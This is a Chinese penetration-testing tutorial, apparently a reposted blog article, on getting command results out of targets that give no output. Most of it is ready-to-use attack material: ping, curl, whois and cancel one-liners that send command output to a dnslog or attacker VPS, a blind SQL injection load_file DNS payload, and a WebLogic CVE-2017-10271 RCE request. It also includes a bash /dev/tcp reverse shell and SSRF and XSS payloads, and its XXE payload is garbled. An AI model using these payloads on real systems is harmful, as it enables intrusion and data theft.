sql如何去除url_如何在无回显时渗透

前言

在渗透测试的很多时候,我们可能都得不到数据的回显。由于得不到数据的回显,我们就无法进一步判断我们渗透测试的结果。所以本文告诉大家,在没有回显的时候,我们又该如何测试。

1.利用ping

ping `命令`.dnslog

有很多免费的dnslog使用,例如BurpSuite自带的模块——Burp Collaborator client,当然社区版没有这个功能,专业版的BurpSuite才具有。

15c159992efc6bccd1ee0f44e2d8d547.png

                                        Burp Collaborator client

还有免费的ceye.io、吐司等,这里不做过多的介绍,以Burp Collaborator client为例。
假如我们需要执行一个uname,我们先点击Copy to clipboard,接着组装我们的语句即可,最后执行它

d668a1f3d890d6dee5303e473e1e7530.png

Copy to clipboard

待它执行几秒钟,我们的Burp Collaborator client就会有回应

effee19d45fdcce503a1cd885b59d74a.png

ping执行

3ce5dd7af9e423c599ea125739e861a0.png

回应

我们直接在本机执行uname验证一下

69665b9f9dd2dee72e8323a39a8f6b6f.png

uname

2.利用curl

Win10和WinServer2016(或更高版本)均已默认自带curl

curl dnslog/`命令|base64|tr '\n' '-'`curl dnslog/`命令|tr '\n' '-'`

6e62654e90ee0ac5095d68825c619b78.png

执行

你会得到一个http的请求,在请求中就是命令执行的结果

c21d6d3380a735cc2b37666209943ea5.png

curl结果

在某些极端情况下,你可能需要使用base64编码一下,因为可能某些命令返回的结果为中文

899a6976a05bb90cf5b5a0d7db77e951.png

base64结果

去掉/、-以后,对结果进行还原就为命令执行以后的结果

d0b3ef699e482cf6c5beb3daaec6e108.png

原始结果

前面说的这些都是基于能解析host的时候执行的,然而在很多实际情况中,被渗透的机器根本不会配置dns。在不配置dns的情况下,dnslog就会失效,命令将返回uknown host,由于无法解析host,找不到dnslog的ip,我们也无法从dnslog平台获得命令执行的结果。请接着看下文。

3.利用whois

谈到whois,很多人的第一反应应该是查域名从属吧。其实不然,whois还可以用来回显命令执行的结果。

whois -h vps‘ip -p port `命令`whois -h vps‘ip -p port `命令 |base64`

这里我们需要自行准备一台vps,其实就是有公网ip的机器,在机器上监听一个端口。例如我在我的vps上监听6666,且在目标机器执行一个unamenc -l -p 6666 -vvv

0b3f9b1b04b2dfc01ee5a36c4490e44f.png

监听6666

那么我们就在目标机器上执行如下命令(myip为我的vpsip)

whois -h myip -p 6666 `uname`whois -h myip -p 6666 `uname |base64`

46bb115a7f2e216c93de012b3dbc6fbc.png

目标机

0ea90814672f847a8d7042b54418627d.png

vps

如图就返回了我们的命令执行结果

4.利用cancel

其实除了whois以外,还有cancel可以利用

cancel -u "$(命令)" -h vps'ip:port

我们同样需要一台vps,在上面监听任意端口

目标机

0337fa19cd049a13382f95f7a0ea3bd1.png

攻击机

去除方框中的"my-jobs",即为命令回显结果

后记

那么这些东西可以配合哪些场景使用了?

1.SQL注入

当我们的SQL注入为盲注时,它可是不会返回结果的。

select load_file(concat('\\\\\\\\',(SQL语句),'.dnslog\\随便输入字母'))

众所周知,mysql中load_file是可以执行dns请求的,注意dnslog前面有个".",千万不要忘记了。

2.XXE

我们只需要把dtd文件换成下面的内容即可

#payload1<?xml version="1.0" encoding="http://dnslog/随便输入字母">%remote;]>#payload2"">%all;
3.RCE

前面的部分基本上都在展示执行命令,这里我们结合一下Weblogic XML Decoder反序列化(CVE-2017-10271)

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host:x.x.x.x:xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bashstring>void><void index="1"><string>-cstring>void><void index="2"><string>命令string>void>array><void method="start"/>void>java>work:WorkContext>soapenv:Header><soapenv:Body/>soapenv:Envelope>

我们只需要替换一下上文中命令的部分为如下的任意一种(请注意html实体编码,payload默认为Linux,win需要修改/bin/bash为cmd或者cmd.exe,-c为/c)

51d6073bb993a7d0299e2b2316a5b6fa.png

html实体编码

ping `命令`.dnslogcurl dnslog/`命令|base64|tr '\n' '-'`curl dnslog/`命令|tr '\n' '-'`whois -h vps‘ip -p port `命令`whois -h vps‘ip -p port `命令 |base64`cancel -u "$(命令)" -h vps'ip:port
#直接反弹shell
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

所有的命令都需要注意转换html实体编码
例如原本的反弹命令为

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

转换后为

bash -i &gt;& /dev/tcp/127.0.0.1/8080 0&gt;&1

可以去这里转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

4.SSRF

我们可以在需要的参数后面直接修改为vps'ip或者dnslog地址
如果你使用vps,那么你依然需要在vps上先执行监听端口
如果你使用dnslog,那么直接修改为dnslog地址
例如某参数为video_url,修改为如下

video_url=http://vps'ip:portvideo_url=dnslog
5.XSS

使用如下Payload

<IMG SRC=# onerror=http://dnslog/随便输入字母>

__________________________________________________________

声明:本文章来自北京國舜科技股份有限公司——畢加索實驗室安全研究員-清水川崎投稿,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

78fba846e62333c4ffe0ca6495c0dfde.png

想加入我们的微信群,目前聚集了来自全球信息安全公司的CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位,更多与安全大咖们面对面交流的机会。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

09129874f4fd7e60311b870165c3967c.png

9382706160a2fafe94828a9ac87c18c1.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值